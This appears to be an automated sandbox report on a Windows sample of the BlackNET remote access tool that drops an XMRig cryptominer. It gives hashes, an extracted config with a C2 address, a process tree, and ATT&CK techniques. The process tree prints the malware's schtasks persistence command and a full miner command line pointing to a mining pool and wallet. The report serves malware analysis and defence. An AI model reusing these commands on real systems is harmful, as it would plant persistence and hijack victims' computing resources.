Analysis

  • max time kernel
    150s
  • max time network
    179s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    22-07-2021 20:01

General

  • Target

    af711c6269728cc41a4b6cab99dc00d2.exe

  • Size

    3.2MB

  • MD5

    af711c6269728cc41a4b6cab99dc00d2

  • SHA1

    02a1cff69f43552c5aa6fea7547e5f68018dbc84

  • SHA256

    4ff431768417c7103657b6554962998af3b2f90180e6f19e66e671b4f706061c

  • SHA512

    94b6ba8fcdbb5dd175096e305698a41078fb1a99725610bb49159d02ccf2484b01fd7bfcf48fb4644af6b92c77453855f7eba46445f93ff449317f25613bb8a6

Malware Config

Extracted

Family

blacknet

Version

v3.7.0 Public

Botnet

OTwjgZ

C2

http://54.237.66.139

Mutex

BN[a4bfa882efc194e2bcd370ea]

Attributes
  • antivm

    false

  • elevate_uac

    false

  • install_name

    WindowsUpdate.exe

  • splitter

    |BN|

  • start_name

    19eb68018edbdeae69b26450d3d0915f

  • startup

    false

  • usb_spread

    false

Signatures

  • BlackNET

    BlackNET is an open source remote access tool written in VB.NET.

  • BlackNET Payload 6 IoCs
  • Contains code to disable Windows Defender 6 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 5 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\af711c6269728cc41a4b6cab99dc00d2.exe
    "C:\Users\Admin\AppData\Local\Temp\af711c6269728cc41a4b6cab99dc00d2.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "{path}"
      2⤵
        PID:1736
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        "{path}"
        2⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:656
        • C:\Users\Admin\AppData\Local\Temp\phone.exe
          "C:\Users\Admin\AppData\Local\Temp\phone.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1484
        • C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
          "C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1876
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"' & exit
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1364
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"'
              5⤵
              • Creates scheduled task(s)
              PID:1204
          • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
            4⤵
            • Executes dropped EXE
            PID:1756
          • C:\Users\Admin\AppData\Roaming\userupdate.exe
            "C:\Users\Admin\AppData\Roaming\userupdate.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1140
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"' & exit
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1728
              • C:\Windows\system32\schtasks.exe
                schtasks /create /f /sc onlogon /rl highest /tn "userupdate" /tr '"C:\Users\Admin\AppData\Roaming\userupdate.exe"'
                6⤵
                • Creates scheduled task(s)
                PID:1488
            • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
              5⤵
              • Executes dropped EXE
              PID:1644
            • C:\Windows\System32\cmd.exe
              C:\Windows/System32\cmd.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.c3pool.com:13333 --user=439KJy5uZoHFetfkQ45pdjRnjLzN1TsFn2NLxPcZbTMwTqJGGpJw4SEM4NhUygc7xacM16VKBNq2Hfe52KmiWTpE46UsCLH --pass= --cpu-max-threads-hint=20 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
              5⤵
              • Blocklisted process makes network request
              • Suspicious use of AdjustPrivilegeToken
              PID:684

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scripting

    1
    T1064

    Scheduled Task

    1
    T1053

    Persistence

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Scripting

    1
    T1064

    Discovery

    System Information Discovery

    1
    T1082

    Command and Control

    Web Service

    1
    T1102

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\phone.exe
      MD5

      a18b7cb1fe97912ffc3e38d76ccc0462

      SHA1

      c5908c111223d69f532973643381983ba385c1c1

      SHA256

      2d5e2831e24496bd74a7a2317f824657905cdadaeb00f5c6e33e9b75c5231a2f

      SHA512

      d92025f6eb3ab4a594113813284361694ce1b78cfd513d88f4ea842ea7d37c91976066b33089c4da048e39cc4c65654637d2a14138327df40f89d4bb0963be1c

    • C:\Users\Admin\AppData\Local\Temp\phone.exe
      MD5

      a18b7cb1fe97912ffc3e38d76ccc0462

      SHA1

      c5908c111223d69f532973643381983ba385c1c1

      SHA256

      2d5e2831e24496bd74a7a2317f824657905cdadaeb00f5c6e33e9b75c5231a2f

      SHA512

      d92025f6eb3ab4a594113813284361694ce1b78cfd513d88f4ea842ea7d37c91976066b33089c4da048e39cc4c65654637d2a14138327df40f89d4bb0963be1c

    • C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
      MD5

      c169f9a4c5c32e4ceb4ff58d1c86e969

      SHA1

      8cdad283c3c44202cb3dc50928d8f80ce885715c

      SHA256

      aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

      SHA512

      3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

    • C:\Users\Admin\AppData\Local\Temp\phoneupdate.exe
      MD5

      c169f9a4c5c32e4ceb4ff58d1c86e969

      SHA1

      8cdad283c3c44202cb3dc50928d8f80ce885715c

      SHA256

      aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

      SHA512

      3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys
      MD5

      0c0195c48b6b8582fa6f6373032118da

      SHA1

      d25340ae8e92a6d29f599fef426a2bc1b5217299

      SHA256

      11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

      SHA512

      ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d

    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      MD5

      94de80b9dbb3379c59a370b83bbffd90

      SHA1

      9b65d5fba13c1174af142de9fdb17cd9989332fc

      SHA256

      5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

      SHA512

      1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      MD5

      94de80b9dbb3379c59a370b83bbffd90

      SHA1

      9b65d5fba13c1174af142de9fdb17cd9989332fc

      SHA256

      5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

      SHA512

      1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      MD5

      94de80b9dbb3379c59a370b83bbffd90

      SHA1

      9b65d5fba13c1174af142de9fdb17cd9989332fc

      SHA256

      5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

      SHA512

      1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      MD5

      94de80b9dbb3379c59a370b83bbffd90

      SHA1

      9b65d5fba13c1174af142de9fdb17cd9989332fc

      SHA256

      5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

      SHA512

      1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

    • C:\Users\Admin\AppData\Roaming\userupdate.exe
      MD5

      c169f9a4c5c32e4ceb4ff58d1c86e969

      SHA1

      8cdad283c3c44202cb3dc50928d8f80ce885715c

      SHA256

      aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

      SHA512

      3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

    • C:\Users\Admin\AppData\Roaming\userupdate.exe
      MD5

      c169f9a4c5c32e4ceb4ff58d1c86e969

      SHA1

      8cdad283c3c44202cb3dc50928d8f80ce885715c

      SHA256

      aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

      SHA512

      3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

    • \Users\Admin\AppData\Local\Temp\phone.exe
      MD5

      a18b7cb1fe97912ffc3e38d76ccc0462

      SHA1

      c5908c111223d69f532973643381983ba385c1c1

      SHA256

      2d5e2831e24496bd74a7a2317f824657905cdadaeb00f5c6e33e9b75c5231a2f

      SHA512

      d92025f6eb3ab4a594113813284361694ce1b78cfd513d88f4ea842ea7d37c91976066b33089c4da048e39cc4c65654637d2a14138327df40f89d4bb0963be1c

    • \Users\Admin\AppData\Local\Temp\phoneupdate.exe
      MD5

      c169f9a4c5c32e4ceb4ff58d1c86e969

      SHA1

      8cdad283c3c44202cb3dc50928d8f80ce885715c

      SHA256

      aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

      SHA512

      3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

    • \Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      MD5

      94de80b9dbb3379c59a370b83bbffd90

      SHA1

      9b65d5fba13c1174af142de9fdb17cd9989332fc

      SHA256

      5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

      SHA512

      1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

    • \Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      MD5

      94de80b9dbb3379c59a370b83bbffd90

      SHA1

      9b65d5fba13c1174af142de9fdb17cd9989332fc

      SHA256

      5808a167ef048cca53662ca6d02d9325c7c7943baedf962e4c77803f04d39c9b

      SHA512

      1fdce23f2d8c6d0dd9d69e055028440e408e8c8eaf6f5c0371803e225b37be14e97614adb2cea36f0958f077a53ec27477d7b856cfc1d4284514f2e795a0bea7

    • \Users\Admin\AppData\Roaming\userupdate.exe
      MD5

      c169f9a4c5c32e4ceb4ff58d1c86e969

      SHA1

      8cdad283c3c44202cb3dc50928d8f80ce885715c

      SHA256

      aa7017fd7ec87d6f3abfe5b52b62b36936312a9ad280ebe74769a096cb2b06a6

      SHA512

      3c6fe017bd76b12db3a91fdef1b673c1062a601c6863c41ac2320a1727376af54d5bae9f9237f8f5b554f7fe39852ef550feef15b5b8c125060d6cc5fff4d01b

    • memory/656-70-0x00000000024E0000-0x00000000024E1000-memory.dmp
      Filesize

      4KB

    • memory/656-68-0x0000000000400000-0x000000000063C000-memory.dmp
      Filesize

      2.2MB

    • memory/656-66-0x0000000000400000-0x000000000063C000-memory.dmp
      Filesize

      2.2MB

    • memory/656-67-0x000000000063636E-mapping.dmp
    • memory/684-121-0x0000000000440000-0x0000000000460000-memory.dmp
      Filesize

      128KB

    • memory/684-122-0x0000000000440000-0x0000000000460000-memory.dmp
      Filesize

      128KB

    • memory/684-119-0x0000000000070000-0x0000000000090000-memory.dmp
      Filesize

      128KB

    • memory/684-124-0x0000000000460000-0x0000000000480000-memory.dmp
      Filesize

      128KB

    • memory/684-123-0x0000000000440000-0x0000000000460000-memory.dmp
      Filesize

      128KB

    • memory/684-120-0x0000000140000000-0x0000000140758000-memory.dmp
      Filesize

      7.3MB

    • memory/684-118-0x00000001402EB66C-mapping.dmp
    • memory/684-117-0x0000000140000000-0x0000000140758000-memory.dmp
      Filesize

      7.3MB

    • memory/1140-101-0x000000013F970000-0x000000013F971000-memory.dmp
      Filesize

      4KB

    • memory/1140-106-0x000000001B9B0000-0x000000001B9B2000-memory.dmp
      Filesize

      8KB

    • memory/1140-116-0x0000000002410000-0x000000000241A000-memory.dmp
      Filesize

      40KB

    • memory/1140-98-0x0000000000000000-mapping.dmp
    • memory/1204-90-0x0000000000000000-mapping.dmp
    • memory/1364-89-0x0000000000000000-mapping.dmp
    • memory/1484-77-0x00000000000A0000-0x00000000000A1000-memory.dmp
      Filesize

      4KB

    • memory/1484-72-0x0000000000000000-mapping.dmp
    • memory/1484-83-0x000000001AC00000-0x000000001AC02000-memory.dmp
      Filesize

      8KB

    • memory/1484-84-0x000000001AC02000-0x000000001AC03000-memory.dmp
      Filesize

      4KB

    • memory/1484-85-0x000000001AC04000-0x000000001AC05000-memory.dmp
      Filesize

      4KB

    • memory/1484-86-0x000000001AC09000-0x000000001AC28000-memory.dmp
      Filesize

      124KB

    • memory/1488-108-0x0000000000000000-mapping.dmp
    • memory/1644-110-0x0000000000000000-mapping.dmp
    • memory/1644-114-0x000000013FC20000-0x000000013FC21000-memory.dmp
      Filesize

      4KB

    • memory/1644-126-0x000000001BAA0000-0x000000001BAA2000-memory.dmp
      Filesize

      8KB

    • memory/1724-60-0x0000000001120000-0x0000000001121000-memory.dmp
      Filesize

      4KB

    • memory/1724-65-0x00000000066C0000-0x0000000006904000-memory.dmp
      Filesize

      2.3MB

    • memory/1724-64-0x0000000005F90000-0x0000000006226000-memory.dmp
      Filesize

      2.6MB

    • memory/1724-63-0x0000000000300000-0x0000000000302000-memory.dmp
      Filesize

      8KB

    • memory/1724-62-0x00000000076C0000-0x00000000076C1000-memory.dmp
      Filesize

      4KB

    • memory/1728-107-0x0000000000000000-mapping.dmp
    • memory/1756-95-0x000000013FC30000-0x000000013FC31000-memory.dmp
      Filesize

      4KB

    • memory/1756-105-0x000000001B260000-0x000000001B262000-memory.dmp
      Filesize

      8KB

    • memory/1756-103-0x00000000008E0000-0x00000000008E2000-memory.dmp
      Filesize

      8KB

    • memory/1756-92-0x0000000000000000-mapping.dmp
    • memory/1876-76-0x0000000000000000-mapping.dmp
    • memory/1876-81-0x000000013FEC0000-0x000000013FEC1000-memory.dmp
      Filesize

      4KB

    • memory/1876-87-0x000000001C270000-0x000000001C48B000-memory.dmp
      Filesize

      2.1MB

    • memory/1876-88-0x0000000002340000-0x0000000002342000-memory.dmp
      Filesize

      8KB